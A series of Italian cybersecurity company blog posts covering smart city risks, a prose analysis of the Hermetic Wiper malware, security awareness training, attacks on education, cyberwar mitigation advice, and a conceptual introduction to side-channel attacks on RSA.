Smart City: la città interconnessa deve anche essere cyber sicura

Ilaria Martinelli — Mon, 16 May 2022 14:16:01 +0000

Circa 3.5 miliardi di persone vivono nelle città, numero destinato ad aumentare e raggiungere i 5 miliardi entro la fine del 2030 passando, secondo una ricerca delle Nazioni Unite, dall’attuale 55% a circa il 70%. Questo costante aumento dovrà necessariamente confrontarsi con la creazione o l’evoluzione di città in grado di supportare il cambiamento, sia a livello di infrastrutture che di servizi offerti ai cittadini. Lo sviluppo tecnologico è il punto di partenza per rispondere a questa sfida.

La società in cui viviamo è ormai proiettata all’utilizzo di nuove tecnologie sempre più sofisticate. La velocità di adozione di queste ultime avrà un ruolo fondamentale per lo sviluppo di città sempre più interconnesse: le Smart City.

Lo sviluppo delle Smart City

Quando parliamo di Smart City ci riferiamo a tutte quelle soluzioni come la smart mobility, la gestione di fornitura di energia o lo smaltimento dei rifiuti che vengono gestite tramite l’utilizzo di tecnologie smart che sono finalizzate a semplificare la vita del cittadino, migliorare il benessere dello stesso, offrire nuovi servizi a costi minori e rendere più efficienti quelli offerti.

Il vero problema in questo contesto riguarda l’utilizzo dei dati dei cittadini: per creare delle città intelligenti il primo passo è la raccolta di grandi quantità di dati per l’analisi e la successiva creazione di soluzioni mirate. La gestione di Big Data, però, comporta anche dei rischi per la sicurezza e la salvaguardia di questi dati.

Le smart city rappresentano un campo di prova per la convivenza di due trend ormai imprescindibili: da un lato la digitalizzazione, dall’altro invece la protezione delle infrastrutture per mantenere al sicuro i dati sensibili che nascono dall’utilizzo di questi dispositivi. Proprio su questi temi la Cyber Security gioca un ruolo fondamentale.

L’attenzione verso i dati prodotti nel contesto delle smart cities è provata da diversi attacchi informatici avvenuti nell’ultimo decennio contro alcune città americane. Di seguito si riportano quelli più noti:

Atlanta, 2016: la città rimane bloccata per circa 5 giorni dopo l’interruzione dei sistemi informatici della corte di giustizia, dell’amministrazione comunale e dei centri per l’impiego.
Baltimore, 2019: per via di un attacco cyber vengono bloccati i sistemi di posta elettronica ed altri servizi rivolti ai cittadini. La piena operatività riprende solo dopo alcuni mesi.
San Francisco, 2016: la metro, successivamente ad un attacco ransomware, viene bloccata creando problemi alla circolazione sotterranea.

Il mondo delle Smart Car

Altra categoria riguarda il mondo delle Smart Car: anche i veicoli di ultima generazione sono sempre più interconnessi, basti pensare ai diversi servizi gestibili da remoto tramite app per smartphone. Questo tipo di connessione porta ad innumerevoli benefici, tuttavia può portare a rischi concreti in termini di sicurezza. Il mercato delle “auto intelligenti” è in costante aumento, tanto che nel periodo 2015-2022 è stato previsto un aumento del 33% per un valore totale di 153.60 miliardi di dollari.

Nel 2015, per sottolineare la facilità con cui una macchina potesse essere sbloccata, era stato fatto un esperimento, organizzato da un adolescente di 15 anni: il risultato? Auto sbloccata e alcune azioni avviate da remoto come i tergicristalli, il clacson ed i fari. L’esperimento aveva l’obiettivo di sottolineare come non vi fossero barriere d’ingresso legate alla sicurezza, elencando le diverse vulnerabilità e criticità intorno al mondo delle Smart Car. Questo iniziale esperimento ha aperto un mondo di ulteriori test, effettuati da diversi importanti brand, con l’obiettivo di rendere sempre più “sicuro” questo campo.

Inoltre, secondo quanto riportato dal Global Automotive Consumer Study 2021, in Italia, il 74% degli utenti sarebbe favorevole all’uso di veicoli sempre più interconnessi, contro il 44-46% di Stati Uniti e Francia e solo il 33% di Germania. Secondo l’Osservatorio Smart&Connected Car della School of Management del Politecnico di Milano, l’87% delle pubbliche amministrazioni considera la Smart Mobility di grande importanza affinché si sviluppino le Smart City. Questa trasformazione nel settore automotive è il primo passo per una città sempre più interconnessa, che però pone in primo piano il problema della Cybersecurity.

La protezione dei dati nelle città interconnesse

Tornando alle Smart City, i punti di criticità riguardano la configurazione e la necessità che tutti i servizi siano tra di loro sempre collegati. Ogni punto di “connessione” è di fatto un possibile anello debole della struttura, poiché permetterebbe ai cyber criminali un facile accesso all’infrastruttura.

Nei prossimi anni le Smart City potrebbero diventare oggetto di interesse per i criminali informatici, per questo motivo è fondamentale mettere in campo diverse risorse per evitare che dati sensibili finiscano nelle mani sbagliate. In Italia, per esempio, secondo un report di Statista, per rendere le città sempre più smart ci sono alcuni progetti che si stanno portando avanti; come riportato nel grafico sottostante, il tema più importante riguarda gli investimenti in tema security che negli ultimi anni stanno aumentando.

Come riportato nel grafico sotto, l’analisi di Statista mostra quali sono i servizi a rischio di attacchi informatici. La top 3 riguarda le reti Wi-Fi pubbliche, le smart grid, cioè le reti di informazioni e di distribuzione dell’energia elettrica, ed i trasporti.

Molti dei vettori di attacco odierni sono gli stessi con cui abbiamo avuto a che fare per decenni: le vulnerabilità non patchate, le configurazioni errate e le password compromesse rimangono problemi significativi.

In questo campo, il tipo di attacco più diffuso è il Dos (Denial of Service) in cui l’aggressore cerca di impedire l’accesso alla rete o al computer degli utenti, inviando un elevato numero di richieste all’infrastruttura con l’obiettivo di renderla inutilizzabile.

Le più grandi città dovranno quindi investire miliardi di euro nelle proprie infrastrutture e la sfida principale per il mondo della sicurezza informatica sarà quello di mantenere al sicuro queste città. Nei prossimi due anni si parla di circa 120 miliardi di euro, dei quali il 44% dovrà essere destinato alla protezione dei dati sensibili.

Per proteggere le città sarà quindi fondamentale costruire delle vere e proprie mura tecnologiche in grado di proteggere le informazioni personali e la libertà del singolo individuo.

Inoltre, insieme al tema di Cyber Security, anche quello delle Smart City è tra i punti di attenzione del PNRR (Piano Nazionale di Ripresa e Resilienza), poiché l’adozione di tecnologie intelligenti può ridurre i consumi e rendere le città più green, valutando e gestendo i rischi relativi alla privacy e alla sicurezza dei dati dei cittadini.

Infine, vogliamo concludere con una riflessione fatta dal nostro CISO Filadelfio Emanuele: “…ritengo necessario sottolineare nuovamente che il trend delle Smart City è ancora in ombra; tuttavia, la prossima tipologia di riscatto potrebbe essere legata ad una limitazione della nostra libertà. Pensare che un criminale potrebbe prendere possesso dei sistemi di accesso di un quartiere, di un palazzo, di un ascensore o della nostra porta di casa e bloccarci all’interno richiedendo il pagamento di un vero riscatto”.

Hermetic Wiper: analisi del malware che ha colpito l'Ucraina

Simone Errico — Tue, 26 Apr 2022 14:16:01 +0000

Durante l’ultimo mese si è spesso sentito parlare di Hermetic Wiper, il malware utilizzato in azioni contro agenzie governative e banche ucraine. Con l’iniziale obiettivo di colpire solo il già citato Paese, si è poi diffuso in occidente, colpendo sempre più stati.

L’origine del malware sembra essere strettamente connessa al conflitto in corso: infatti, il ransomware di tipo Data Wiper è stato distribuito a partire dal 23 febbraio 2022. In questo articolo il nostro obiettivo è quello di analizzare il malware da un punto di vista tecnico.

Come funziona

Il suo funzionamento è pensato per distruggere i dati del sistema in maniera tale da renderne impossibile il futuro recupero, minando anche il funzionamento del sistema operativo. L’infezione porterà quindi al blocco completo del PC.

Hermetic Wiper sfrutta i driver di un software completamente lecito di gestione dei dischi (EaseUS Partition Manager), che sono integrati nel suo codice. Di seguito il video per vederlo in azione:

Hermetic Wiper in una prima fase frammenta e poi sovrascrive vari settori di disco con dati casuali, tra cui i settori del Master Boot Record (MBR), responsabili dell’avvio del sistema. La frammentazione rende ancora più difficoltosi eventuali tentativi di recupero dei dati presenti sul disco. Con il procedere della sovrascrittura alcune DLL verranno rese inservibili e con esse smetteranno di funzionare i processi che ne fanno uso. Ad un certo punto questo provocherà un errore non risolvibile in RAM che, a sua volta, causerà il Blue Screen visibile nella parte conclusiva del video. Dopo l’errore è chiaramente visibile un tentativo di riavvio, che però non andrà mai a buon fine, avendo il malware reso inservibili sia il MBR che il sistema operativo.

È comunque possibile evitare il malware tramite i software antivirus aggiornati; basterà dunque una scansione regolare dei file scaricati sul computer per accertarsi che non siano infetti. Sistemi validi di EDR/XDR sono inoltre capaci di identificare e bloccare i comportamenti tipici di questo strumento, anche qualora si venisse infettati da una versione del malware ancora mancante nei database antivirus.

Il CSIRT italiano, nella pagina ufficiale, riporta quelli che sono i consigli principali per proteggersi dagli attacchi in questione.

In futuro

Secondo gli esperti che per primi hanno individuato il malware, si hanno notizie di Hermetic Wiper già dal 28 dicembre 2021, ma solo successivamente è stato usato per infettare centinaia di computer ucraini il giorno prima dell’attacco militare sferrato dalla Russia.

Inizialmente si pensava che i possibili impatti collaterali a carico di infrastrutture ICT di enti, organizzazioni e aziende che avessero rapporti con soggetti ucraini potessero pesare significativamente; in realtà, soprattutto per quanto concerne il nostro Paese, non sono ancora stati riscontrati attacchi informatici rilevanti in cui è stato sfruttato questo malware.

Lo stesso CERT dell’Agenzia per l’Italia Digitale ha rilevato nel nostro Paese 58 campagne malevole durante il periodo considerato, 48 delle quali con obiettivi italiani e 10 generiche che hanno comunque interessato l’Italia. Questo dato rimane in linea con i riepiloghi settimanali precedenti, nonostante i tumulti che stanno avvenendo a livello internazionale.

Bisognerà comunque prestare attenzione ai futuri svolgimenti non solo mettendo in atto una serie di misure preventive ed organizzative, ma anche attraverso azioni più concrete quali il monitoraggio di account di servizio per rilevare attività anomale, la richiesta di autenticazione a più fattori – in particolare per servizi VPN – e la priorizzazione delle attività di patching.

Se hai subito un attacco informatico puoi contattarci a sos@cybergon.com, il nostro team di specialisti opera in modalità 24x7.

Cyber Security Awareness: quando il fattore umano può ridurre il rischio di un attacco informatico

Ilaria Martinelli — Mon, 04 Apr 2022 14:16:01 +0000

AWARENESS significa consapevolezza, ma qual è la connessione con il mondo della sicurezza informatica?

Molto spesso leggiamo dell’importanza di navigare su internet in modo “sicuro” e che essere consapevoli dei rischi che si corrono in rete è il primo modo per evitare di cadere vittima. Tuttavia rimane difficile riuscire a declinare la consapevolezza all’interno di un percorso che tocchi la vita privata e pubblica degli utenti.

La nascita del World Wide Web così come lo intendiamo noi è avvenuta nel 1991; da allora il mondo online è diventato sempre più parte della nostra quotidianità.

Se dobbiamo cercare qualche informazione utilizziamo internet, se dobbiamo prenotare una vacanza utilizziamo internet e addirittura, con la pandemia, anche aspetti quali le visite mediche sono state trasferite nel mondo virtuale e poi lo smart working e l’e-learning.

L’emergenza legata al Covid ha accelerato significativamente il processo di digitalizzazione, modificando i comportamenti degli utenti con una maggiore spinta verso la sfera digitale.

Questo spostamento ha portato ad un aumento dell’attività da parte dei cyber criminali e quindi ad un aumento complessivo del numero di attacchi informatici. Inoltre, è cresciuto non solo il numero degli episodi, ma anche la loro complessità, il grado di sofisticatezza e l’entità del loro impatto.

Secondo un Report di Check Point Research, nel 2021, in tutto il mondo gli attacchi informatici verso le aziende sono cresciuti del 40% rispetto al 2020; settimanalmente le aziende italiane ne subiscono mediamente 903 e hanno visto crescere la percentuale del 36%, rispetto al 2020.

Gli attacchi informatici sono veicolati per oltre il 90% da e-mail aziendali colpite da campagne di phishing che, con il passare del tempo, sono diventate sempre più sofisticate, inducendo in errore anche chi ha una certa esperienza.

Diventa quindi importante investire sulla consapevolezza degli utenti e indicare delle linee guida e best practice da adottare. Se infatti le aziende possono dotarsi di tutte le tecnologie più sofisticate, l’aspetto più importante rimane comunque la formazione degli utenti e la capacità di non cascare nei tranelli dei cyber criminali: è infatti il fattore umano l’anello debole della catena.

Molto spesso gli utenti non sono realmente consci della gravità che un impatto simile può avere nel breve e soprattutto nel lungo periodo.

Il motivo principale per cui un attacco informatico viene indirizzato ad un’azienda è per richiedere un riscatto; in particolare, si evidenza una tendenza al rialzo per il prezzo medio, che è passato dai 6.000$ nel 2018 fino agli 84.000$ nel 2019, mentre è di difficile stima il prezzo medio degli ultimi mesi sia per l’incremento dei numeri di attacchi informatici ma anche per l’utilizzo delle criptovalute che non permettono il tracciamento dei riscatti pagati.

Inoltre, ricordiamo che non è assolutamente detto che pagando il riscatto vengano restituiti all’azienda tutti i dati esfiltrati, motivo che può portare ad un aumento del danno economico per la risoluzione di un attacco informatico.

Ma quanto costa quindi all’azienda un attacco informatico andato a buon segno?

In genere l’impatto è sempre pesante: secondo il report di IBM, ogni violazione dei dati sulle organizzazioni costa all’azienda, in media, 3.86 milioni di dollari a livello globale e 2.90 milioni di euro se consideriamo la nostra nazione.

Come abbiamo detto, è il fattore umano il punto debole della catena, per questo adeguate misure di security awareness possono essere fondamentali per proteggere l’azienda. La consapevolezza degli utenti passa, prima di tutto, dalla formazione: formare il personale, infatti, ha un costo enormemente più basso rispetto al ripristino di un incidente informatico.

La maggior parte delle minacce proviene proprio dalla poca attenzione che le persone mettono nel compiere azioni di routine quali: l’utilizzo delle proprie credenziali, la navigazione non sicura o la poca attenzione nella gestione della posta elettronica. Sono solo pochi esempi ma che, da soli, coprono oltre l’85% delle cause di un incidente di sicurezza.

Best practice

La prima cosa importante da sottolineare è che non è possibile evitare al 100% un attacco informatico, ma esistono diverse azioni e best practice da mettere in atto per cercare di ridurre al minimo questo rischio.

Corsi di formazione

Aumentare la soglia di attenzione dei dipendenti attraverso training specifici è di fondamentale importanza per limitare il rischio e creare una maggiore consapevolezza della pericolosità che un attacco informatico può provocare, non solo all’azienda, ma anche al singolo individuo. La formazione deve essere continua e nell’arco di un lungo periodo, in modo da tenere sempre alta la sensibilità degli utenti sull’argomento.

Corsi personalizzati ed in lingua

Secondo la nostra esperienza, anche creare contenuti ad hoc in lingua può essere utile affinché il trasferimento della cultura in tema di sicurezza informatica sia appreso in maniera più diretta possibile. La personalizzazione in base al tipo di azienda, al livello di preparazione degli utenti è sicuramente un plus da considerare, soprattutto se l’azienda ha sedi al di fuori del territorio italiano. Al contrario, l’utilizzo di una piattaforma standardizzata, in cui vengono semplicemente condivise le nozioni, non può essere la soluzione ottimale, poiché manca la personalizzazione e soprattutto il confronto con esperti del settore, in grado di rispondere alle domande e ai dubbi degli utenti.

Bollettini settimanali

Settimanalmente è utile condividere con i propri dipendenti quelle che sono le campagne di phishing in atto, spiegare quali sono gli elementi per cui essere sospettosi e dare così alcuni strumenti che aiutino i dipendenti ad evitare di cadere vittima di campagne, anche in futuro.

Phishing Test

Una buona pratica consiste nel creare test ad hoc che simulano degli attacchi phishing per testare il livello di preparazione dei propri dipendenti. Queste campagne mirate sono del tutto innocue, ma risultano molto utili per fornire una fotografia del livello di vulnerabilità del fattore umano all’interno dell’azienda. I risultati ottenuti sono utili per capire come impostare i corsi di formazione, insistendo maggiormente sulle persone che hanno “abboccato” al tranello.

Analisi OSINT

Open Source Intelligence o OSINT sono ricerche di informazioni private appartenenti ad un’azienda o ad un singolo individuo che vengono fatte per capire l’esposizione dei dati disponibili su internet. Partendo dal solo nome e cognome è infatti possibile impersonare un soggetto (sono molto comuni, tra gli altri, i casi di CEO fraud); inoltre, avendo a disposizione informazioni aggiuntive, come la data e il luogo di nascita, i cyber criminali possono rendere le comunicazioni ancora più credibili.
L’OSINT si rivela uno strumento estremamente utile ed efficace per investigare la presenza di informazioni e il rischio connesso al riutilizzo di tali dati a fini malevoli. Nel caso in cui invece la ricerca dovesse essere eseguita con finalità malevole si parla di Bad OSINT.

Dopo un’adeguata formazione, al contrario di quello che ci si potrebbe aspettare, gli utenti dovrebbero essere in grado di riconoscere i diversi casi di ingegneria sociale e quindi, seguendo le procedure e policy interne dell’azienda, riportare un maggior numero di incidenti direttamente al dipartimento IT. Questo potrebbe essere un modo utile per misurare se le best practice seguite sono servite agli utenti a familiarizzare con il tema, a riconoscere campagne di phishing ed evitare di caderne vittima.

Negli ultimi mesi sta cambiando anche l’approccio delle aziende verso il concetto di cyber security awareness: sono infatti le stesse organizzazioni che, in seguito al costante aumento di attacchi subiti (il numero di attacchi rilevati nel 2020 segna un aumento del 29% rispetto alla media degli attacchi per anno del triennio precedente), stanno investendo sulla formazione erogata ai propri dipendenti.

Secondo il report che abbiamo stilato in collaborazione con Statista, è stato osservato che per molti intervistati (42%), queste minacce si sono verificate almeno una volta al mese, mentre il 31% ha subito almeno due attacchi al mese e solo il 4% degli intervistati ha subito in media più di tre attacchi al mese. Il restante 15% non ha assistito a una minaccia nell’ultimo anno e ciò potrebbe essere dovuto al fatto che alcune aziende semplicemente non erano a conoscenza degli attacchi accaduti loro.

Infine, vogliamo ricordare che nella cybersecurity non ci si improvvisa: agire sul fattore umano e creare una cultura sulla difesa informatica è solo il primo passo per una protezione efficace contro il cyber crimine, che deve poi proseguire con l’analisi e la gestione dei rischi da parte di specialisti del settore che, con l’utilizzo di strumenti a loro disposizione, saranno in grado di ridurre l’esposizione ai cyber rischi.

Parte della nostra missione consiste proprio nell’agire e nel creare una consapevolezza negli utenti dei clienti tramite le best practice descritte. Se sei interessato visita il nostro sito e contattaci.

Education e Cyber Security: Italia sul podio per attacchi subiti

Ilaria Martinelli — Tue, 15 Mar 2022 10:16:00 +0000

L’Italia è il secondo Paese al mondo a subire attacchi informatici nel settore dell’istruzione e della ricerca. Sul podio troviamo l’India in prima posizione con una media di 5.196 attacchi, seguita dall’Italia, con una media di 5.106, e Israele con 4.011 attacchi.

Tra luglio e agosto 2020, il numero medio di attacchi settimanali per organizzazione nel settore dell’istruzione è aumentato del 30% rispetto ai due mesi precedenti, passando da 468 a 608 attacchi; il dato mette in allarme, specialmente se comparato con l’aumento degli attacchi informatici verso tutti gli altri settori, fermo a “solo” il 6,5% nello stesso periodo. Secondo il Rapporto Clusit 2021, inoltre, il settore della ricerca e dell’istruzione ha registrato un aumento degli attacchi del 46,8% nel 2020 rispetto al 2019, proprio nel periodo che coincide con l’introduzione della DAD.

Perché il settore dell’education?

Come per l’Healthcare (LINK), anche quello dell’istruzione e della ricerca è un settore di interesse per i cyber criminali. Oltre alle possibili perdite finanziarie legate ad un attacco informatico, ci sono altri rischi che entrano in gioco nel settore dell’istruzione e della ricerca. Da un lato il grande numero di dati sensibili legati a studenti ed insegnanti archiviati negli anni; dall’altro lato la possibile perdita di proprietà intellettuali e brevetti relativi a nuove scoperte da parte di istituti accademici. In caso di perdita o compromissione, infatti, i danni potrebbero recare, oltre al danno di reputazione, anche gravi problemi alla sicurezza degli utenti connessi al mondo dell’istruzione e della ricerca.

Se l’interesse per questo settore ha avuto un’impennata negli ultimi due anni, all’inizio del nuovo millennio, però, erano già stati registrati alcuni attacchi informatici ad università a livello mondiale. È il caso di citare l’università di Yale, che nel 2002 subì un attacco da parte di un utente che si scoprì poi essere il direttore delle ammissioni della Princeton University, il quale cercava informazioni sulle modalità e criteri di ammissione all’università. Diversamente da quello che succede oggigiorno, gli attacchi dei primi anni 2000 erano organizzati da persone che avevano l’obiettivo o di rubare informazioni senza il secondo fine della rivendita o, addirittura, di testare il livello di protezione dell’organizzazione, come nel caso dell’attacco all’Università di Stanford dall’hacker “Ag3nt47”, che rese personalmente nota la notizia tramite un tweet.

Quello che è cambiato nel corso degli anni è, infatti, il fine ultimo dell’esfiltrazione di queste informazioni: in primis, non si tratta più di individui che operano singolarmente, ma di organizzazioni criminali e, in secondo luogo, l’obiettivo finale di questi attacchi informatici è ormai principalmente solo il guadagno monetario.

Il ruolo della pandemia

DAD, aka Didattica a Distanza, è stato uno degli acronimi più utilizzati e sentiti negli ultimi due anni. Studenti ed insegnanti si sono ritrovati, da un giorno all’altro, in un mondo completamente diverso. Durante la pandemia, infatti, migliaia di scuole e università si sono dovute digitalizzare in poco tempo, senza però che gli adeguati protocolli di sicurezza andassero di pari passo con la digitalizzazione. Questa mancanza ha fatto sì che un numero sempre maggiore di organizzazioni educative fosse preso di mira dai cyber criminali, per la facilità con cui è possibile colpire queste istituzioni, siano esse private o pubbliche.

La pandemia ha forzato non solo lo smart working, ma anche l’online learning. I numeri registrati sono sconcertanti e il trend è chiaramente in aumento. Durante lo scorso mese di luglio, per esempio, è stato registrato il maggior volume di attacchi, con una media di 1.739, con un aumento del 29% rispetto alla prima metà del 2021.

Minacce più comuni

Le piattaforme online e connessioni remote, per un gran numero di alunni e insegnanti, creano nuovi punti di ingresso, spesso non protetti, per i criminali informatici. Essi sfruttano bug senza patch o password deboli, nonché endpoint remoti non protetti per ottenere l’accesso.

Secondo il report Data Breach Investigation del 2020, oltre l’80% delle violazioni della sicurezza è stato causato dal furto di credenziali. Infatti, se un account di posta elettronica viene compromesso, l’intera organizzazione può subire gravi danni.

Un altro attacco utilizzato in questo settore è l’information Disclosure che mira ad acquisire informazioni specifiche del sistema di un sito web. Le informazioni acquisite possono contenere anche la posizione dei file di backup o di file temporanei. Maggiore è il numero di informazioni disponibili, più sarà facile compromettere il sistema.

Anche il metodo costituito dagli attacchi DDoS (Distributed Denial of Service) è particolarmente utilizzato. L’obiettivo di questo tipo di attacco è volto a sconvolgere il normale traffico di un server o di una rete, sovraccaricando l’obiettivo o l’infrastruttura circostante creando traffico Internet.

Investimenti in cybersecurity

La realizzazione degli obiettivi di crescita digitale e di modernizzazione delle strutture di formazione e ricerca costituisce una priorità per il rilancio del paese. L’obiettivo del Piano Nazionale di Ripresa e Resilienza è quello di investire 623 milioni dei 191,5 miliardi totali per rafforzare le difese di cybersecurity nelle pubbliche amministrazioni in generale, per la difesa dalle minacce informatiche come frodi, ricatti e attacchi terroristici e tutti i rischi posti dalla criminalità informatica.

L’investimento si articola principalmente su quattro pilastri:

Diffondere l’identità digitale, assicurando che venga utilizzata da almeno il 70% della popolazione. Gli investimenti serviranno al miglioramento dei servizi digitali per cittadini e per la trasformazione delle infrastrutture nella PA.
Costruire e consolidare le capacità di ispezione e audit del Paese di hardware e software utilizzati da soggetti con funzioni essenziali per certificare l’affidabilità e prevenire le minacce.
Potenziare le forze dell’ordine e le unità informatiche all’interno delle Forze di Polizia preposte alle indagini su attività cyber criminali.
Colmare il gap di competenze digitali, rafforzando in modo significativo le risorse informatiche e le risorse umane responsabili della sicurezza nazionale e della risposta alle minacce informatiche.

In conclusione

Gli esseri umani sono, in genere, l’anello più debole quando si tratta di sicurezza informatica. L’invito agli studenti, ai genitori e alle istituzioni è di fare molta attenzione, poiché sia i numeri che i metodi dell’attacco potrebbero peggiorare.

Si prevede che, anche dopo la pandemia, si continueranno a seguire dei modelli di apprendimento digitale, in cui, per esempio, le università offriranno agli studenti più opzioni e una maggiore flessibilità rispetto alle sole lezioni tradizionali. L’online learning quindi rimarrà, così come l’interesse dei cyber criminali per il mondo dell’istruzione e della ricerca.

Il settore dell’educazione è vulnerabile e diversi investimenti in termini di cyber sicurezza andrebbero fatti. Nessun ente scolastico può esimersi dal prestare particolare attenzione alla sicurezza e ai propri sistemi online, soprattutto in un contesto storico come quello attuale, dove la nostra vita si sta svolgendo prevalentemente online.

Cyberwar: i rischi di sicurezza e le azioni di mitigazione per le aziende

Marco Nilo — Wed, 02 Mar 2022 14:16:01 +0000

Gli avvenimenti drammatici delle ultime settimane sono noti a tutti, così com’è noto che il campo di azione si è esteso anche al cyberspazio. In questo articolo non entreremo nel merito politico della cyberwar in atto, ma analizzeremo i rischi per le aziende sul nostro territorio e relative azioni di mitigazione.

Lo scenario che dal punto di vista della sicurezza informatica ci troviamo ad affrontare comprende la nascita di due minacce specifiche, i malware HermeticWiper e Cyclops Blink, che insieme a sfruttamento di vulnerabilità, phishing, attacchi DDoS e naturalmente altre tipologie di ransomware già in circolazione, potrebbero essere veicolati da gruppi criminali che approfittano della situazione di emergenza per colpire.

HermeticWiper e Cyclops Blink

Il primo malware nato in occasione del conflitto ha uno scopo distruttivo: CSIRT Italia indica che l’obiettivo di HermeticWiper è di distruggere intenzionalmente i dati presenti su un dispositivo al fine di renderli irrecuperabili, minando il corretto funzionamento del sistema operativo in esecuzione. Non si tratta quindi di un ransomware “classico”, che fornirebbe la speranza di poter ripristinare i sistemi e recuperare i dati, ma di un attacco potenzialmente devastante per l’azienda.

Cyclops Blink è stato analizzato congiuntamente dal National Cyber Security Centre (NCSC) del Regno Unito, della Cybersecurity and Infrastructure Security Agency (CISA), della National Security Agency (NSA) e del Federal Bureau of Investigation (FBI) e viene indicato come un “pezzo di malware altamente sofisticato che è stato sviluppato professionalmente” (Qui l’analisi completa).

La distribuzione del malware sembra avvenire verso dispositivi di rete esposti su Internet, in particolare relativi al prodotto WatchGuard. La persistenza sui dispositivi target è ottenuta sfruttando un aggiornamento firmware apparentemente legittimo, che garantisce l’esecuzione del codice malevolo anche a seguito di eventuali riavvii dei sistemi interessati. WatchGuard, in collaborazione con CISA, FBI, NSA e NCSC UK, ha reso disponibili a questo link le indicazioni necessarie all’identificazione e alla rimozione di Cyclops Blink sui dispositivi interessati.

Consigli e azioni di mitigazione

Come abbiamo anticipato, il rischio di compromissione si presenta in relazione a queste minacce specifiche, ma non solo: gruppi criminali estranei al conflitto potrebbero sfruttare il momento di crisi per attaccare indistintamente e violentemente. Dal nostro punto di vista è necessario che tutte le imprese sul nostro territorio facciano attenzione, specialmente se hanno sedi o relazioni con aziende nei paesi coinvolti.

Consigliamo di mettere in campo queste pratiche:

Innalzare il livello di priorità nel monitoraggio di eventi che coinvolgano sistemi presenti in Ucraina e/o Russia;
Prestare attenzione a eventi che coinvolgono IP pubblici indicati nelle liste rilasciate dal CERT e in generale da IP pubblici assegnati a Russia o Ucraina;
Monitorare tutti gli accessi a piattaforme sensibili, come Office365 e Azure, che provengono dai paesi a rischio;
Mantenere aggiornati gli Indicator Of Compromise (IOC), identificati a livello internazionale e consigliati dal CERT Europeo, sugli strumenti di detection.

Infine, pratiche di patching di tool con vulnerabilità note e innalzamento del livello di consapevolezza interno rispetto ai rischi legati, ad esempio, a mail di phishing, contribuiranno a diminuire il rischio e la superficie di attacco.

In caso di compromissione, il nostro team di specialisti opera in modalità 24x7. Contattaci per un supporto: sos@cybergon.com

Attacchi side-channel: quando basta ascoltare l’hardware

Marco Prosdocimi — Thu, 10 Feb 2022 10:16:00 +0000

La diffusione capillare dei computer nelle società moderne è oramai un concetto a cui siamo abituati. Siamo però meno abituati a pensare a quanto la crittografia accompagni i dispositivi che utilizziamo tutti i giorni.

Quando apriamo la macchina con delle chiavi wireless, quando effettuiamo un pagamento elettronico o quando inseriamo una tessera dopo aver acquistato un decoder per la televisione, interagiamo con un circuito elettrico che svolge un calcolo di tipo crittografico per noi.

Proprio su questi dispositivi è nata una delle più bizzarre e particolari categorie di attacchi informatici: gli attacchi side-channel.

Facciamo ora un esempio che ci permetterà di capire meglio il contesto in cui questi attacchi hanno luogo. Pensiamo a quando apriamo la nostra auto con il telecomando, cosa accade realmente?

Nel migliore degli scenari (purtroppo non sempre) è coinvolto un algoritmo di crittografia: la chiave, infatti, dovrebbe mandare un messaggio “apri” univoco alla nostra auto.

In caso di messaggio non cifrato, un malintenzionato potrebbe intercettare l’invio del segnale e clonare così le nostre chiavi; se invece il nostro dispositivo è in grado di cifrare il messaggio, una volta che premiamo il tasto “apri”, il segnale cifrato viene inviato alla macchina che lo decifra consentendo l’apertura dell’auto.

Cifrare un segnale vuol dire renderlo illeggibile, e quindi inutilizzabile, nonostante la possibilità che sia intercettato.

Un computer che cifra un messaggio lo rende ineleggibile eseguendo un complesso calcolo matematico che dipende da una chiave, che sarà poi riutilizzata in fase di decifratura per far tornare leggibile il messaggio. Ovviamente, è garantito il fatto che possedendo il messaggio cifrato non sia possibile né risalire alla chiave né tantomeno al messaggio reale. Nel caso delle chiavi della macchina, la chiave crittografica è salvata nella memoria elettronica del dispositivo e dell’auto.

Un processo simile viene utilizzato anche ogni volta che facciamo un pagamento utilizzando una carta di credito o di debito: senza andare ad approfondire il meccanismo, ci basta sapere che, in quel caso, la chiave è salvata sul chip, solitamente di colore dorato, che poi eseguirà il calcolo crittografico.

A questo punto è chiaro che la sicurezza di questi dispositivi si basa sulla segretezza della chiave che, ovviamente, essendo salvata elettronicamente, non è facile da recuperare. Tutto quello che noi possiamo rilevare sono solo i messaggi cifrati emessi quando questi dispositivi sono utilizzati.

Proprio in questo scenario nascono gli attacchi side-channel che si limitano ad “ascoltare” questi circuiti mentre lavorano.

Attacchi side-channel

Possiamo definire side-channel quella categoria di attacchi che si basano sulle informazioni ottenute dall’implementazione di uno schema di crittografia, anziché sulle sue debolezze matematiche. Prendiamo ad esempio un processore che sta eseguendo un certo algoritmo di crittografia: esso riceve dei dati in input, fa una serie di calcoli e, alla fine, restituisce un risultato. Per fare questo impiegherà un certo tempo e andrà a consumare una certa potenza elettrica.

Ora immaginiamo di utilizzare lo stesso algoritmo sulla stessa macchina ma con dei dati in input diversi. Il tempo impiegato e la potenza consumata sarà la stessa? In condizioni normali la risposta è no.

A questo punto, supponendo che il tempo e la potenza consumata sono univoci per dato di input, possiamo dedurre che, misurando questi dati, sia possibile ricavare il dato di partenza.

Tempo, potenza consumata, emissione elettromagnetica e persino il suono che emette un processore, uniti a delle analisi di tipo statistico, sono informazioni che gli attacchi side-channel possono sfruttare per risalire ai dati che un algoritmo sta processando. Quando si parla di crittografia per dati in input si intendono ovviamente le chiavi crittografiche, che devono rimanere segrete.

Semplice esempio

Per capire come sia possibile fare ciò prendiamo un semplice esempio.

Ipotizziamo un circuito che esegue una cifratura utilizzando RSA (uno degli schemi di cifratura più usati), come nel caso delle carte di credito.

Una chiave privata RSA è solitamente composta da 1024 o 2048 bit, cioè “cifre” che possono assumere valore 0 o 1. In condizioni normali, quando viene eseguita una cifratura di RSA vengono eseguiti diversi calcoli matematici, considerando un bit della chiave alla volta. La particolarità è che i calcoli eseguiti sono differenti a seconda che il singolo bit sia 1 o 0. Ora, supponendo di poter misurare la potenza consumata o l’emissione elettromagnetica e di poter osservare la traccia su un oscilloscopio, vedremmo qualcosa di simile all’immagine sottostante.

Come si può osservare a occhio nudo, se il bit della chiave è a 1 l’algoritmo esegue le funzioni S (Square) e M (Multiply), se il bit è a 0 esegue solo S.

Eseguendo un codice diverso si ha una notevole differenza della potenza consumata che è visibile sulla traccia e, di conseguenza, è possibile andare a ricostruire tutta la chiave segreta.

Quindi, ipoteticamente, basterebbe modificare uno strumento di pagamento elettronico in modo che possa misurare la potenza consumata per poter effettivamente clonare una carta di credito (senza ovviamente considerare eventuali PIN di sicurezza). L’esempio appena fatto, anche se molto semplice, descrive l’essenza di un attacco side channel.

